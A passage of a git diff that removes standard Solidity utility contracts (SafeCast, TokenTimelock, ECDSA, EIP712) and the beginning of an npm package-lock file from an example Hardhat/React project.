- *
- * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
- * all math on `uint256` and `int256` and then downcasting.
- */
-library SafeCast {
-    /**
-     * @dev Returns the downcasted uint224 from uint256, reverting on
-     * overflow (when the input is greater than largest uint224).
-     *
-     * Counterpart to Solidity's `uint224` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 224 bits
-     */
-    function toUint224(uint256 value) internal pure returns (uint224) {
-        require(value <= type(uint224).max, "SafeCast: value doesn\'t fit in 224 bits");
-        return uint224(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint128 from uint256, reverting on
-     * overflow (when the input is greater than largest uint128).
-     *
-     * Counterpart to Solidity's `uint128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     */
-    function toUint128(uint256 value) internal pure returns (uint128) {
-        require(value <= type(uint128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return uint128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint96 from uint256, reverting on
-     * overflow (when the input is greater than largest uint96).
-     *
-     * Counterpart to Solidity's `uint96` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 96 bits
-     */
-    function toUint96(uint256 value) internal pure returns (uint96) {
-        require(value <= type(uint96).max, "SafeCast: value doesn\'t fit in 96 bits");
-        return uint96(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint64 from uint256, reverting on
-     * overflow (when the input is greater than largest uint64).
-     *
-     * Counterpart to Solidity's `uint64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     */
-    function toUint64(uint256 value) internal pure returns (uint64) {
-        require(value <= type(uint64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return uint64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint32 from uint256, reverting on
-     * overflow (when the input is greater than largest uint32).
-     *
-     * Counterpart to Solidity's `uint32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     */
-    function toUint32(uint256 value) internal pure returns (uint32) {
-        require(value <= type(uint32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return uint32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint16 from uint256, reverting on
-     * overflow (when the input is greater than largest uint16).
-     *
-     * Counterpart to Solidity's `uint16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     */
-    function toUint16(uint256 value) internal pure returns (uint16) {
-        require(value <= type(uint16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return uint16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint8 from uint256, reverting on
-     * overflow (when the input is greater than largest uint8).
-     *
-     * Counterpart to Solidity's `uint8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     */
-    function toUint8(uint256 value) internal pure returns (uint8) {
-        require(value <= type(uint8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return uint8(value);
-    }
-
-    /**
-     * @dev Converts a signed int256 into an unsigned uint256.
-     *
-     * Requirements:
-     *
-     * - input must be greater than or equal to 0.
-     */
-    function toUint256(int256 value) internal pure returns (uint256) {
-        require(value >= 0, "SafeCast: value must be positive");
-        return uint256(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int128 from int256, reverting on
-     * overflow (when the input is less than smallest int128 or
-     * greater than largest int128).
-     *
-     * Counterpart to Solidity's `int128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt128(int256 value) internal pure returns (int128) {
-        require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return int128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int64 from int256, reverting on
-     * overflow (when the input is less than smallest int64 or
-     * greater than largest int64).
-     *
-     * Counterpart to Solidity's `int64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt64(int256 value) internal pure returns (int64) {
-        require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return int64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int32 from int256, reverting on
-     * overflow (when the input is less than smallest int32 or
-     * greater than largest int32).
-     *
-     * Counterpart to Solidity's `int32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt32(int256 value) internal pure returns (int32) {
-        require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return int32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int16 from int256, reverting on
-     * overflow (when the input is less than smallest int16 or
-     * greater than largest int16).
-     *
-     * Counterpart to Solidity's `int16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt16(int256 value) internal pure returns (int16) {
-        require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return int16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int8 from int256, reverting on
-     * overflow (when the input is less than smallest int8 or
-     * greater than largest int8).
-     *
-     * Counterpart to Solidity's `int8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     *
-     * _Available since v3.1._
-     */
-    function toInt8(int256 value) internal pure returns (int8) {
-        require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return int8(value);
-    }
-
-    /**
-     * @dev Converts an unsigned uint256 into a signed int256.
-     *
-     * Requirements:
-     *
-     * - input must be less than or equal to maxInt256.
-     */
-    function toInt256(uint256 value) internal pure returns (int256) {
-        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
-        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
-        return int256(value);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/TokenTimelock.sol b/Example09-hardhat-react/contracts/utils/TokenTimelock.sol
deleted file mode 100644
index 5568c353c..000000000
--- a/Example09-hardhat-react/contracts/utils/TokenTimelock.sol
+++ /dev/null
@@ -1,67 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./SafeERC20.sol";
-
-/**
- * @dev A token holder contract that will allow a beneficiary to extract the
- * tokens after a given release time.
- *
- * Useful for simple vesting schedules like "advisors get all of their tokens
- * after 1 year".
- */
-contract TokenTimelock {
-    using SafeERC20 for IERC20;
-
-    // ERC20 basic token contract being held
-    IERC20 immutable private _token;
-
-    // beneficiary of tokens after they are released
-    address immutable private _beneficiary;
-
-    // timestamp when token release is enabled
-    uint256 immutable private _releaseTime;
-
-    constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
-        // solhint-disable-next-line not-rely-on-time
-        require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
-        _token = token_;
-        _beneficiary = beneficiary_;
-        _releaseTime = releaseTime_;
-    }
-
-    /**
-     * @return the token being held.
-     */
-    function token() public view virtual returns (IERC20) {
-        return _token;
-    }
-
-    /**
-     * @return the beneficiary of the tokens.
-     */
-    function beneficiary() public view virtual returns (address) {
-        return _beneficiary;
-    }
-
-    /**
-     * @return the time when the tokens are released.
-     */
-    function releaseTime() public view virtual returns (uint256) {
-        return _releaseTime;
-    }
-
-    /**
-     * @notice Transfers tokens held by timelock to beneficiary.
-     */
-    function release() public virtual {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
-
-        uint256 amount = token().balanceOf(address(this));
-        require(amount > 0, "TokenTimelock: no tokens to release");
-
-        token().safeTransfer(beneficiary(), amount);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/cryptography/ECDSA.sol b/Example09-hardhat-react/contracts/utils/cryptography/ECDSA.sol
deleted file mode 100644
index 10a36a2df..000000000
--- a/Example09-hardhat-react/contracts/utils/cryptography/ECDSA.sol
+++ /dev/null
@@ -1,115 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
- *
- * These functions can be used to verify that a message was signed by the holder
- * of the private keys of a given address.
- */
-library ECDSA {
-    /**
-     * @dev Returns the address that signed a hashed message (`hash`) with
-     * `signature`. This address can then be used for verification purposes.
-     *
-     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
-     * this function rejects them by requiring the `s` value to be in the lower
-     * half order, and the `v` value to be either 27 or 28.
-     *
-     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
-     * verification to be secure: it is possible to craft signatures that
-     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
-     * this is by receiving a hash of the original message (which may otherwise
-     * be too long), and then calling {toEthSignedMessageHash} on it.
-     *
-     * Documentation for signature generation:
-     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
-     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
-     */
-    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
-        // Divide the signature in r, s and v variables
-        bytes32 r;
-        bytes32 s;
-        uint8 v;
-
-        // Check the signature length
-        // - case 65: r,s,v signature (standard)
-        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
-        if (signature.length == 65) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                r := mload(add(signature, 0x20))
-                s := mload(add(signature, 0x40))
-                v := byte(0, mload(add(signature, 0x60)))
-            }
-        } else if (signature.length == 64) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                let vs := mload(add(signature, 0x40))
-                r := mload(add(signature, 0x20))
-                s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
-                v := add(shr(255, vs), 27)
-            }
-        } else {
-            revert("ECDSA: invalid signature length");
-        }
-
-        return recover(hash, v, r, s);
-    }
-
-    /**
-     * @dev Overload of {ECDSA-recover} that receives the `v`,
-     * `r` and `s` signature fields separately.
-     */
-    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
-        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
-        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
-        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
-        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
-        //
-        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
-        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
-        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
-        // these malleable signatures as well.
-        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
-        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
-
-        // If the signature is valid (and not malleable), return the signer address
-        address signer = ecrecover(hash, v, r, s);
-        require(signer != address(0), "ECDSA: invalid signature");
-
-        return signer;
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
-     * produces hash corresponding to the one signed with the
-     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
-     * JSON-RPC method as part of EIP-191.
-     *
-     * See {recover}.
-     */
-    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
-        // 32 is the length in bytes of hash,
-        // enforced by the type signature above
-        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Typed Data, created from a
-     * `domainSeparator` and a `structHash`. This produces hash corresponding
-     * to the one signed with the
-     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
-     * JSON-RPC method as part of EIP-712.
-     *
-     * See {recover}.
-     */
-    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
-        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/cryptography/draft-EIP712.sol b/Example09-hardhat-react/contracts/utils/cryptography/draft-EIP712.sol
deleted file mode 100644
index 044f50aae..000000000
--- a/Example09-hardhat-react/contracts/utils/cryptography/draft-EIP712.sol
+++ /dev/null
@@ -1,102 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./ECDSA.sol";
-
-/**
- * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
- *
- * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
- * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
- * they need in their contracts using a combination of `abi.encode` and `keccak256`.
- *
- * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
- * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
- * ({_hashTypedDataV4}).
- *
- * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
- * the chain id to protect against replay attacks on an eventual fork of the chain.
- *
- * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
- * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
- *
- * _Available since v3.4._
- */
-abstract contract EIP712 {
-    /* solhint-disable var-name-mixedcase */
-    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
-    // invalidate the cached domain separator if the chain id changes.
-    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
-    uint256 private immutable _CACHED_CHAIN_ID;
-
-    bytes32 private immutable _HASHED_NAME;
-    bytes32 private immutable _HASHED_VERSION;
-    bytes32 private immutable _TYPE_HASH;
-    /* solhint-enable var-name-mixedcase */
-
-    /**
-     * @dev Initializes the domain separator and parameter caches.
-     *
-     * The meaning of `name` and `version` is specified in
-     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
-     *
-     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
-     * - `version`: the current major version of the signing domain.
-     *
-     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
-     * contract upgrade].
-     */
-    constructor(string memory name, string memory version) {
-        bytes32 hashedName = keccak256(bytes(name));
-        bytes32 hashedVersion = keccak256(bytes(version));
-        bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
-        _HASHED_NAME = hashedName;
-        _HASHED_VERSION = hashedVersion;
-        _CACHED_CHAIN_ID = block.chainid;
-        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
-        _TYPE_HASH = typeHash;
-    }
-
-    /**
-     * @dev Returns the domain separator for the current chain.
-     */
-    function _domainSeparatorV4() internal view returns (bytes32) {
-        if (block.chainid == _CACHED_CHAIN_ID) {
-            return _CACHED_DOMAIN_SEPARATOR;
-        } else {
-            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
-        }
-    }
-
-    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
-        return keccak256(
-            abi.encode(
-                typeHash,
-                name,
-                version,
-                block.chainid,
-                address(this)
-            )
-        );
-    }
-
-    /**
-     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
-     * function returns the hash of the fully encoded EIP712 message for this domain.
-     *
-     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
-     *
-     * ```solidity
-     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
-     *     keccak256("Mail(address to,string contents)"),
-     *     mailTo,
-     *     keccak256(bytes(mailContents))
-     * )));
-     * address signer = ECDSA.recover(digest, signature);
-     * ```
-     */
-    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
-        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
-    }
-}
diff --git a/Example09-hardhat-react/frontend/package-lock.json b/Example09-hardhat-react/frontend/package-lock.json
deleted file mode 100644
index 6d7cd6a5a..000000000
--- a/Example09-hardhat-react/frontend/package-lock.json
+++ /dev/null
@@ -1,15196 +0,0 @@
-{
-  "name": "frontend",
-  "version": "0.1.0",
-  "lockfileVersion": 1,
-  "requires": true,
-  "dependencies": {
-    "@babel/code-frame": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz",
-      "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==",
-      "requires": {
-        "@babel/highlight": "^7.8.3"
-      }
-    },
-    "@babel/compat-data": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.9.0.tgz",
-      "integrity": "sha512-zeFQrr+284Ekvd9e7KAX954LkapWiOmQtsfHirhxqfdlX6MEC32iRE+pqUGlYIBchdevaCwvzxWGSy/YBNI85g==",
-      "requires": {
-        "browserslist": "^4.9.1",
-        "invariant": "^2.2.4",
-        "semver": "^5.5.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "@babel/core": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.0.tgz",
-      "integrity": "sha512-kWc7L0fw1xwvI0zi8OKVBuxRVefwGOrKSQMvrQ3dW+bIIavBY3/NpXmpjMy7bQnLgwgzWQZ8TlM57YHpHNHz4w==",
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/generator": "^7.9.0",
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helpers": "^7.9.0",
-        "@babel/parser": "^7.9.0",
-        "@babel/template": "^7.8.6",
-        "@babel/traverse": "^7.9.0",
-        "@babel/types": "^7.9.0",
-        "convert-source-map": "^1.7.0",
-        "debug": "^4.1.0",
-        "gensync": "^1.0.0-beta.1",
-        "json5": "^2.1.2",
-        "lodash": "^4.17.13",
-        "resolve": "^1.3.2",
-        "semver": "^5.4.1",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "@babel/generator": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.9.5.tgz",
-      "integrity": "sha512-GbNIxVB3ZJe3tLeDm1HSn2AhuD/mVcyLDpgtLXa5tplmWrJdF/elxB56XNqCuD6szyNkDi6wuoKXln3QeBmCHQ==",
-      "requires": {
-        "@babel/types": "^7.9.5",
-        "jsesc": "^2.5.1",
-        "lodash": "^4.17.13",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "@babel/helper-annotate-as-pure": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.8.3.tgz",
-      "integrity": "sha512-6o+mJrZBxOoEX77Ezv9zwW7WV8DdluouRKNY/IR5u/YTMuKHgugHOzYWlYvYLpLA9nPsQCAAASpCIbjI9Mv+Uw==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-builder-binary-assignment-operator-visitor": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.8.3.tgz",
-      "integrity": "sha512-5eFOm2SyFPK4Rh3XMMRDjN7lBH0orh3ss0g3rTYZnBQ+r6YPj7lgDyCvPphynHvUrobJmeMignBr6Acw9mAPlw==",
-      "requires": {
-        "@babel/helper-explode-assignable-expression": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-builder-react-jsx": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx/-/helper-builder-react-jsx-7.9.0.tgz",
-      "integrity": "sha512-weiIo4gaoGgnhff54GQ3P5wsUQmnSwpkvU0r6ZHq6TzoSzKy4JxHEgnxNytaKbov2a9z/CVNyzliuCOUPEX3Jw==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/types": "^7.9.0"
-      }
-    },
-    "@babel/helper-builder-react-jsx-experimental": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx-experimental/-/helper-builder-react-jsx-experimental-7.9.5.tgz",
-      "integrity": "sha512-HAagjAC93tk748jcXpZ7oYRZH485RCq/+yEv9SIWezHRPv9moZArTnkUNciUNzvwHUABmiWKlcxJvMcu59UwTg==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/types": "^7.9.5"
-      }
-    },
-    "@babel/helper-compilation-targets": {
-      "version": "7.8.7",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.8.7.tgz",
-      "integrity": "sha512-4mWm8DCK2LugIS+p1yArqvG1Pf162upsIsjE7cNBjez+NjliQpVhj20obE520nao0o14DaTnFJv+Fw5a0JpoUw==",
-      "requires": {
-        "@babel/compat-data": "^7.8.6",
-        "browserslist": "^4.9.1",
-        "invariant": "^2.2.4",
-        "levenary": "^1.1.1",
-        "semver": "^5.5.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "@babel/helper-create-class-features-plugin": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.9.5.tgz",
-      "integrity": "sha512-IipaxGaQmW4TfWoXdqjY0TzoXQ1HRS0kPpEgvjosb3u7Uedcq297xFqDQiCcQtRRwzIMif+N1MLVI8C5a4/PAA==",
-      "requires": {
-        "@babel/helper-function-name": "^7.9.5",
-        "@babel/helper-member-expression-to-functions": "^7.8.3",
-        "@babel/helper-optimise-call-expression": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-replace-supers": "^7.8.6",
-        "@babel/helper-split-export-declaration": "^7.8.3"
-      }
-    },
-    "@babel/helper-create-regexp-features-plugin": {
-      "version": "7.8.8",
-      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.8.8.tgz",
-      "integrity": "sha512-LYVPdwkrQEiX9+1R29Ld/wTrmQu1SSKYnuOk3g0CkcZMA1p0gsNxJFj/3gBdaJ7Cg0Fnek5z0DsMULePP7Lrqg==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/helper-regex": "^7.8.3",
-        "regexpu-core": "^4.7.0"
-      }
-    },
-    "@babel/helper-define-map": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.8.3.tgz",
-      "integrity": "sha512-PoeBYtxoZGtct3md6xZOCWPcKuMuk3IHhgxsRRNtnNShebf4C8YonTSblsK4tvDbm+eJAw2HAPOfCr+Q/YRG/g==",
-      "requires": {
-        "@babel/helper-function-name": "^7.8.3",
-        "@babel/types": "^7.8.3",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/helper-explode-assignable-expression": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.8.3.tgz",
-      "integrity": "sha512-N+8eW86/Kj147bO9G2uclsg5pwfs/fqqY5rwgIL7eTBklgXjcOJ3btzS5iM6AitJcftnY7pm2lGsrJVYLGjzIw==",
-      "requires": {
-        "@babel/traverse": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-function-name": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz",
-      "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==",
-      "requires": {
-        "@babel/helper-get-function-arity": "^7.8.3",
-        "@babel/template": "^7.8.3",
-        "@babel/types": "^7.9.5"
-      }
-    },
-    "@babel/helper-get-function-arity": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz",
-      "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-hoist-variables": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.8.3.tgz",
-      "integrity": "sha512-ky1JLOjcDUtSc+xkt0xhYff7Z6ILTAHKmZLHPxAhOP0Nd77O+3nCsd6uSVYur6nJnCI029CrNbYlc0LoPfAPQg==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-member-expression-to-functions": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz",
-      "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-module-imports": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz",
-      "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-module-transforms": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz",
-      "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==",
-      "requires": {
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/helper-replace-supers": "^7.8.6",
-        "@babel/helper-simple-access": "^7.8.3",
-        "@babel/helper-split-export-declaration": "^7.8.3",
-        "@babel/template": "^7.8.6",
-        "@babel/types": "^7.9.0",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/helper-optimise-call-expression": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz",
-      "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-plugin-utils": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz",
-      "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ=="
-    },
-    "@babel/helper-regex": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.8.3.tgz",
-      "integrity": "sha512-BWt0QtYv/cg/NecOAZMdcn/waj/5P26DR4mVLXfFtDokSR6fyuG0Pj+e2FqtSME+MqED1khnSMulkmGl8qWiUQ==",
-      "requires": {
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/helper-remap-async-to-generator": {
-      "version": "7.8.3",
